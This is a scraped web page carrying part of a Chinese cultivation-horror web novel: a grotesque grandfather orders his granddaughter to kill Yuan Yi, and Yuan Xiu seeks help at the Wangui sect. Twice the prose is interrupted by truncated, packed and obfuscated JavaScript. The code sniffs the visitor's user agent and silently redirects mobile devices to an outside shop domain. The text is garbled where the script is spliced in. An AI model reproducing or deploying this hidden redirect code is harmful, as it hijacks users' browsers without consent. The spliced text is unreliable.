l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12506081|132152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶的味道。 她却习以为常地走了进去,洞内两侧的火焰随之燃起。 大约走了两百米路,柯幼怡走到了山洞的尽头——又是一扇铜门。 “爷爷,我来了。”年轻的女声在洞府中响起。 门再次打开。 入目之处,肉粉色的不明物体包裹着六面,宛如人类的内脏,随着时间流逝如同呼吸似的起起伏伏。 时不时滴落几滴黏糊的,透明的,甜腻的液体。 柯幼怡踩上去的一瞬间,肉粉色的墙壁裂开了无数到细细的小孔,宛如人的眼睛,在阴暗处窥视着来者。 她甚至产生一种房间有生命的错觉。 “你在紧张什么?” 一名老者,不,从外形上已经谈不上人类东西,从肉色的地上凝聚而成。 他看起来有些不太方便,肚子似乎没长好,里面的器官,尤其是肠子顺着滑落下来,使得他不得不用两只枯树枝一般的手兜住。 头也不小心没连接好,脖子的右边像刚发酵的面团裂开来,于是脑袋只好歪到了左边。 老者已经很老了,眼皮耷拉得将近覆盖住所有的眼睛,全身的皮肤也皱得和老树皮似的,长满了老年斑。 他一边质问,一边将眼睛凑到孙女的面前。 柯幼怡睁着眼睛,看着离自己不到五公分的老者,连皮肤上钻出的数十条蛆虫都看的一清二楚,好似下一秒,那些小虫子就要掉落至自己身上。 随着老人的话,那股邪恶的甜腻味几乎要将整个人腌入味。 “我没有,您是我的爷爷。”她解释,眼里满是敬仰。 好似眼前的不是什么怪物般的东西,而是一名雄姿英发的老者,离大乘期不过一步之遥,抵达练虚期,是震慑渡生城的大能。 老者满意地点头——这下子脖子是真的断开了,他不得不放弃两只手托内脏,而是腾出一只手扶回脑袋。 “我要你去完成一件事。” “爷爷尽管吩咐。” “诛杀元漪。” “……是。” 22. 第 22 章 浚溪道是万归宗的附属城,虽然名字带有一个溪字,但却是个旱地,离最近的大河有百来公里远,于是,院子里是否有有一口井成了房价的重要标准。 王小二是一名游手好闲的街溜子,但好在他的曾曾祖父在浚溪道买了一间二进院子,里面恰好有一口井。 于是在母亲的催促下,每天一早,他就要挑两桶水,用荷叶盖着,到没井的人家门口叫卖——多数为外地人。 一桶十文,两桶十八文,而一个低阶灵石却可以换一千铜钱。 根据祖籍记载,他的曾曾祖父当年在万归宗的天赋测试上一鸣惊人,测试出火木双灵根,从此脱离凡尘,步入仙门——为什么他记得这么清楚呢,因为这件事他那老爹每年生日都会拿出来说一遍。 想到这,王小二不由撇撇嘴。 他的曾曾祖父倘若真步入仙门,估计现在也还活着,为何不来浚溪道看一看子孙后代,哪怕从手指缝中漏出几颗灵石,他现在就可以好几年不用干活了。 他肩上担着两桶水,经过了一处用极好的石料筑成的拱门,上面写着三个大字——万归宗。 一条延长的小路逶迤而上,消失在层层树木中。 王小二回想起方才在城里卖水时,问路的男子。 “小兄弟,万归宗怎么走?” 对方的声音很好听,身后背着一名昏迷的女子,看模样是来寻医的。 他给男子指了路,现在不知道进去了没。 王小二习惯性地这条路望了望,神情有些惆怅——在十二岁之前,他一直以为自己是话本中被名门淑女羞辱退婚,随后捡到藏着大人物灵魂的法器,觉醒顶尖天赋,一路越级打架,直至飞升迎娶四大门派千金小姐的男主角。 然而在海选会中,他被检测出只是一个毫无灵根的普通人,不需要发誓“三十年河东三十年河西”“莫欺少年穷”——没人羞辱他。 十二岁、十八岁、二十八岁……他没有灵根,也不聪慧,更谈不上勤奋,唯一能拿得出作为谈资的,还是他的曾曾祖父。 等到他有了孩子,就是他和孩子以“你的曾曾曾祖父……”为开头,谈起自己都没证实过的往事了。 王小二看着两个少年似乎想上去,却被表层的结界挡住的情景,不仅摇了摇头。 这仙门哪是这么好叩开的? “你这水怎么卖的?”一名抱孩子的妇人观望了许久,上前问道。 “哎,一桶十文,两桶十八文。” “太贵了,便宜点,两桶十二文。” “大娘您这砍的也忒狠了,我这水也是每天从井里挑出来的,你问问别家哪有这么实惠?” …… “仙君,你怎么不直接给万归宗长老传音,然后直接进去呀?” “她身份敏感,我得谨慎为上。” “噢哦。” 一丈雪在元岫的耳边飞来飞去,时不时就冒出几个问题。 元岫也习惯了,通常视情况回复。 “万归宗不许喧杂人等入内。” 当元岫刚踩到万归宗的石阶上,一层透明的结界便拦住了他,随后传来一道机械的声音。 “呀!一百年没见,万归宗的法器都这么高级了?!”一丈雪被那道声音吓了一跳。 元岫眼神闪烁:“等会儿别吱声。” “好的仙君,我保证等会一句话都不会说。”一丈雪一边点头,一边小声嘀咕,“这万归宗平日神神秘秘的,除了做交易卖丹药灵器时,就没看见人……” 元岫手腕一动,一张木牒便出现在手上。 “认证通过,欢迎贵客。” 再次走进时,原本无情的机械音变成了亲切的人声。 元岫抬头望了望,山上浓荫蔽日,若不是还有一条还算干净的道路,说是十年没有打理也不为过。 为了以示尊重,他将神识收了回去,靠自己的双眼去认清事物。 “何人拜访万归宗?”一道苍老的声音轻轻响起。 一点红色的光一晃一晃地出现在幽暗的山路中,随着声音靠近,才发现是一位驼背的提灯老婆婆,看不出修为。 元岫拱手:“在下曾经与贵宗大长老有过一面之缘,如今有事需帮忙,还望引荐。” 那老婆婆抬起眼皮,接下元岫递过来的木牒,上下仔细看了一遍,随后还了回去。 “没错,是我们宗门的信物,但我们大长老如今不在宗门内。”她有些遗憾地摇头。 元岫也不气馁,继续问道:“敢问宗门内可有擅长炼器或是医药的能人?” 老婆婆脑袋低垂了下来,似乎在思考。 从元岫的视角只能看见对方有着一头均匀的白发。 “倒是有一位,等会他便回来找你。” 元岫才注意到,虽然对方看起来白发苍苍,但声音不过二三十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12531542|132152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余岁。 这倒是不稀奇,修真界有怪癖的人不少见。 一般而言,在登上筑基期时,修真者的容貌便固定在那一刻,直至寿命将至的前前十年会迅速老去。 但也有人会服用药物,将自己维持成少年或是老者的模样。 “宗门内陷阱众多,还望贵客莫到处走动,在原地等待片刻即可。” 她扫视了一遍立在元岫肩上的一丈雪,叮嘱完之后便提着灯离去,身影一点一点消失在幽暗中。 元岫站在原地等待。 古木参天,将万归宗的路包围得密不透风,偶尔传来几声不明的鸟鸣。倘若是凡人在这呆久了,容易心生退意。 “这鸟叫得,还没有我的声音好听。”一丈雪没忍住,在元岫的耳边嘀咕道。 又过了不到一炷香时间,一道模糊的身影出现在路上。 一丈雪立即噤声,在元岫的肩膀上当一只听话的宠物。 “在下万归宗大弟子,王山客,贵客远道而来,有失远迎。”一名清俊的男修面带歉意。 他将元岫带到山顶一处干净偏僻的大院。 “方才一路走来,倒是没有见到其他的弟子……”元岫小心翼翼地将元漪平放在床榻上,状似闲聊道。 “哦,我们万归宗弟子惯于呆在自己的房内,进修自己的技艺。”王山客含笑解释,随口问道,“贵客自哪而来?这木牒可不常见。” 他对昏迷的女修倒是见惯不怪——毕竟,万归宗接待过不少病人。 “在下不过剑宗一外门弟子,侥幸与贵宗长老有过一面之缘,不知大长老如今在哪?”元岫也轻描淡写解释。 “自五十年前便闭关了,若长老出关,必会告知。”王山客继续问,“贵宗的玉岫仙君可好?实不相瞒,在下仰慕已久,想与之交流。” “仙君每月初一会在剑宗与众弟子交流,万归宗弟子若有兴趣,自是欢迎。”元岫面不改色道。 王山客见打探不到什么,无奈道,“我的丹药或是炼器都略知一二,道友有什么困难都可与我一说,不必客气。” “认得这个吗?”元岫从储物袋掏出噬灵珠。 王山客接过后认真端详,思索片刻后,遗憾摇头:“才疏学浅,但我去藏书阁查找线索。” 元岫又询问对方可否检查元漪的身体。 王山客伸手搭在元漪的手腕上,输入灵气的那刻便怔住了。